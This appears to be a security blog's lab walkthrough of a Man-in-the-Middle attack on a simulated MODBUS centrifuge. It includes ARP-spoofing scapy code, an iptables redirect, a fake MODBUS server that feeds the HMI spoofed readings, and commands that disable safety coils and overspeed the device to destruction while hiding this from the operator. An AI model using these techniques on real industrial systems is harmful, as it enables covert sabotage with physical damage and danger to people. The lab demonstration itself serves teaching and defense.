- Published on
MODBUS MitM Attack
- Authors
- Name
- Is1d0re
- @is1d0re
The Scenario
This will be a demonstration of a Man-in-the-Middle (MitM) attack between an Engineer's Human Machine Interface (HMI) and a simulated centrifuge which are communicating with each other using the MODBUS protocol.
Attacker's objective:
Send commands to the centrifuge in order to make it spin at unsafe levels for at least 30 seconds which will cause it to sustain irreparable damage.
The attack must not be detected by the Engineer!
Constraints
- Must ensure the Engineer's inputs into the HMI continue to yield the expected visual feedback throughout the entire duration of the attack.
Restraints:
- Cannot allow any of their commands to be displayed on the Engineer's HMI.
The Plan:
We will trick the HMI into thinking it is connected to the centrifuge, but in reality it will be connected to our fake server. We will populate our fake server with data that will show normal/expected readings on the HMI. We will simultaneously secretly disable the safety locks on the centrifuge and tell it to spin at double the rated safe speed. We will also ensure that the Engineer's inputs continue to yield the expected visuals on the HMI despite the fact that it's connected to our fake server.
This scenario assumes our attacker has already gained access to the network.
The Environment
For instructions on how to set up the environment, please head over to the github repository.
Our environment consists of:
- Ubuntu VM (10.0.0.23):
Running a simulated centrifuge using ModbusPal. It will be running its MODBUS server on the standard port 502.
Our simulated centrifuge server will look like this:
This VM is also running the centrifuge_monitor.py
script which will simulate the safety controls and kill the server process once the objective has been completed.
- Windows 10 VM (10.0.0.24):
Running our Engineer's HMI which is configured to connect to our simulated centrifuge's MODBUS server.
Our HMI connected to our simulated centrifuge looks like this:
- Both the power and safety controls are turned on
- The run-time (above the I/O green light) is incrementing each second
- The simulated voltage is a random number between 100-999 and is changing every second
- The RPM default is 7500. For the purpose of this simulated centrifuge, we will say the rated safe RPM is 7500 and anything above 11,200 is extremely unsafe.
- PopOS Workstation (10.0.0.10):
Our attacker workstation. We will be hosting our own fake MODBUS server and running fake_server_data.py
and arp_spoof.py
scripts to perform our MitM attack. We will execute our malicious commands by running malicious_commands.py
.
Our fake modbus server will be configured like this and will be running prior to starting our attack:
Step 1: Populate fake server with spoofed data
$ sudo python3 fake_server_data.py
The fake_server_data.py
script will first write our spoofed registers/coils for the I/O, safety controls, and RPM addresses to our fake server. This way, the HMI will see the values that we want it to see, not the values of the real coils/registers on the centrifuge.
client_fake_server.write_registers(1, 7500, unit=1)
client_fake_server.write_coils(0, real_coils[:], unit=1)
Next, our script will read all of the data from the centrifuge server and continuously write them to our fake server in real-time. However, we will make sure to skip both of the coils and the RPM register, so that we don't overwrite our spoofed values. Since we, the attacker, dont have access to an HMI, we can print the real coils and registers to the screen so that we can monitor the centrifuge's status in real-time.
#read the real coils
real_coils = client_real_server.read_coils(address=0x00, count=0x05, unit=0x01).bits
print(real_coils[0:4])
#read the real registers
real_registers = client_real_server.read_holding_registers(address=0x00, count=5,unit=0x01).registers
print(real_registers)
#populate our fake server with real-time data from real server
client_fake_server.write_registers(0, real_registers[0:1], unit=1)
client_fake_server.write_registers(2, real_registers[2:], unit=1)
Once our script runs our fake server will have its registers and coils populated with data.
We are now ready to trick the HMI into thinking our fake server is the centrifuge.
Step 2: Hijack the HMI's connection to the centrifuge
The HMI uses its arp table to route IP traffic to devices on its network. Prior to our attack, this is what its arp table looks like:
When we do our arp spoofing we will get all of the HMI's MODBUS request packets sent to our attacker workstation, but the destination address and port will be 10.0.0.23:502, so our (10.0.0.10:502) server will not actually receive them. In order to fix this, we will need to redirect all incoming modbus traffic, regardless of destination IP, to our fake server. This can be done with the following iptables
rule:
$ sudo iptables -t nat -A PREROUTING -p tcp --destination-port 502 -j REDIRECT --to-port 502
We are now ready to execute the arp spoofing with our python script:
$ sudo python3 arp_spoof.py
The script sends a packet to the Engineer's workstation (10.0.0.24) telling it that the 10.0.0.23 IP has our attacker's MAC. The Engineer's workststion will update its arp table with the new MAC address:
packet = scap.ARP(op=1, pdst=HMI_IP, hwsrc=ATTACKER_MAC, psrc=REAL_SERVER_IP)
scap.send(packet)
Now our HMI's arp table will get updated and look like this:
Some ICS devices can be configured to only communicate with specific IP's, so we will go ahead and trick the centrifuge into thinking we are the HMI:
packet = scap.ARP(op=1, pdst=REAL_SERVER_IP, hwsrc=ATTACKER_MAC, psrc=HMI_IP)
scap.send(packet)
The HMI will now be receiving its data and sending commands to our fake server instead of the centrifuge.
Step 3: Send attacker's commands to the centrifuge
Now that the legitimate HMI cannot see what's actually happening on the centrifuge, we can go ahead and start changing settings without the Engineer noticing.
If we try to set the RPMs higher than 7500 the device's safety features will set it back to 7500.
print('increasing RPMs to 14000')
client_real_server.write_registers(1, 14000, unit=1)
time.sleep(2)
current_RPM = client_real_server.read_holding_registers(address=0x01, count=1,unit=0x01).registers
print('centrifuge RPMs are now set to: ' + str(current_RPM[0]))
client_real_server.close()
However, if we disable them first...
print('disabling safety controls...')
client_real_server.write_coils(1, [False], unit=1)
time.sleep(2)
print('increasing RPMs to 14000')
client_real_server.write_registers(1, 14000, unit=1)
time.sleep(2)
current_RPM = client_real_server.read_holding_registers(address=0x01, count=1,unit=0x01).registers
print('centrifuge RPMs are now set to: ' + str(current_RPM[0]))
client_real_server.close()
Now we are able to set the RPMs to 14,000!
Back at the HMI:
The Engineer's inputs are still working
The RPMs needle has not moved despite the real centrifuge RPMs being set to 14,000
If the device runs at these unsafe RPM's for 30 seconds, it will suffer a catastrophic failure and will sustain irreparable damage.
If we do an Nmap scan on the centrifuge device we can see that it is no longer online due to the damages it has sustained.